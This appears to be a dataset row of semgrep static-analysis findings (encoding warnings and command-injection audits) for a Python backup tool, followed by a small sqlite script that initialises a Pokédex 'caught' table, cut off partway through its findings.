"owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 133, "col": 10, "offset": 2918}, "end": {"line": 133, "col": 31, "offset": 2939}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_a6cdaffe", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 135, "line_end": 135, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 135, "col": 10, "offset": 2988}, "end": {"line": 135, "col": 31, "offset": 3009}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_ebb534f3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 148, "line_end": 148, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 148, "col": 10, "offset": 3311}, "end": {"line": 148, "col": 31, "offset": 3332}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_3596a937", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 166, "line_end": 166, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 166, "col": 10, "offset": 3872}, "end": {"line": 166, "col": 31, "offset": 3893}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_54df550a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 201, "line_end": 201, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 201, "col": 9, "offset": 4825}, "end": {"line": 201, "col": 30, "offset": 4846}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_5b31c710", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 214, "line_end": 214, "column_start": 10, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 214, "col": 10, "offset": 5318}, "end": {"line": 214, "col": 51, "offset": 5359}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_0e922a795ec58cd2_66d38cb3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 225, "line_end": 225, "column_start": 17, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 225, "col": 17, "offset": 5727}, "end": {"line": 225, "col": 71, "offset": 5781}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_0e922a795ec58cd2_309c1538", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 225, "line_end": 225, "column_start": 17, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 225, "col": 17, "offset": 5727}, "end": {"line": 225, "col": 71, "offset": 5781}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_68b28f0a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 271, "line_end": 271, "column_start": 21, "column_end": 87, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 271, "col": 21, "offset": 7238}, "end": {"line": 271, "col": 87, "offset": 7304}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_0590fc42", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 272, "line_end": 272, "column_start": 23, "column_end": 91, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 272, "col": 23, "offset": 7327}, "end": {"line": 272, "col": 91, "offset": 7395}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_5fde6e0a", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `safetyguard == safetyguard` or `safetyguard != safetyguard`. If testing for floating point NaN, use `math.isnan(safetyguard)`, or `cmath.isnan(safetyguard)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 324, "line_end": 324, "column_start": 7, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 324, "col": 7, "offset": 9041}, "end": {"line": 324, "col": 26, "offset": 9060}, "extra": {"message": "This expression is always True: `safetyguard == safetyguard` or `safetyguard != safetyguard`. If testing for floating point NaN, use `math.isnan(safetyguard)`, or `cmath.isnan(safetyguard)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_0e922a795ec58cd2_300817bc", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 361, "line_end": 361, "column_start": 17, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 361, "col": 17, "offset": 10189}, "end": {"line": 361, "col": 71, "offset": 10243}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_0e922a795ec58cd2_c99f8fce", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 378, "line_end": 378, "column_start": 5, "column_end": 19, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 378, "col": 5, "offset": 10902}, "end": {"line": 378, "col": 19, "offset": 10916}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_887bc7e9", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 383, "line_end": 383, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 383, "col": 9, "offset": 10974}, "end": {"line": 383, "col": 30, "offset": 10995}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_1e7f2486", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 434, "line_end": 434, "column_start": 21, "column_end": 87, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 434, "col": 21, "offset": 12515}, "end": {"line": 434, "col": 87, "offset": 12581}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_0e922a795ec58cd2_143e1a60", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 448, "line_end": 448, "column_start": 15, "column_end": 75, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 448, "col": 15, "offset": 12947}, "end": {"line": 448, "col": 75, "offset": 13007}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 21 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
225,
225,
361,
448
] | [
225,
225,
361,
448
] | [
17,
17,
17,
15
] | [
71,
71,
71,
75
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found user-controll... | [
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"MEDIUM",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | btsoot.py | /btsoot.py | bbartsch/btsoot | MIT | |
2024-11-18T18:05:57.515247+00:00 | 1,468,295,893,000 | c73d3e7066b96575595f2f1a6c248b401b619175 | 2 | {
"blob_id": "c73d3e7066b96575595f2f1a6c248b401b619175",
"branch_name": "refs/heads/master",
"committer_date": 1468295893000,
"content_id": "73ffb2feacf4cfa1afe6e30179e7ee53e40417d3",
"detected_licenses": [
"MIT"
],
"directory_id": "9540905f89036fe28834f6e2ada10205caa1a244",
"extension": "py",
"filename": "scraper_notCaught.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 484,
"license": "MIT",
"license_type": "permissive",
"path": "/Scrapper/scraper_notCaught.py",
"provenance": "stack-edu-0054.json.gz:568898",
"repo_name": "narottaman/ECE-Pokedex",
"revision_date": 1468295893000,
"revision_id": "8804774efb55200622a0aaa25784b2ad197da2f4",
"snapshot_id": "a55833f7897177e57a48732626dfec077ad3387f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/narottaman/ECE-Pokedex/8804774efb55200622a0aaa25784b2ad197da2f4/Scrapper/scraper_notCaught.py",
"visit_date": "2020-12-03T02:18:11.191112"
} | 2.40625 | stackv2 | __author__ = "Nicole"
# This script should be used to fill the pokemon_caught table for the first time to indicate
# that the pokemon are not caught yet.
import sqlite3
conn = sqlite3.connect('..//database/pokedex.sqlite3')
c = conn.cursor();
c.execute("delete from " + "pokemon_caught")
c.execute("delete from " + " sqlite_sequence where name = 'pokemon_caught'")
for index in range(1, 722):
c.execute("INSERT INTO pokemon_caught VALUES (?,?)", (index, 0))
conn.commit() | 16 | 29.31 | 92 | 8 | 126 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_637da270d87c2137_a6284c8e", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 1, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": 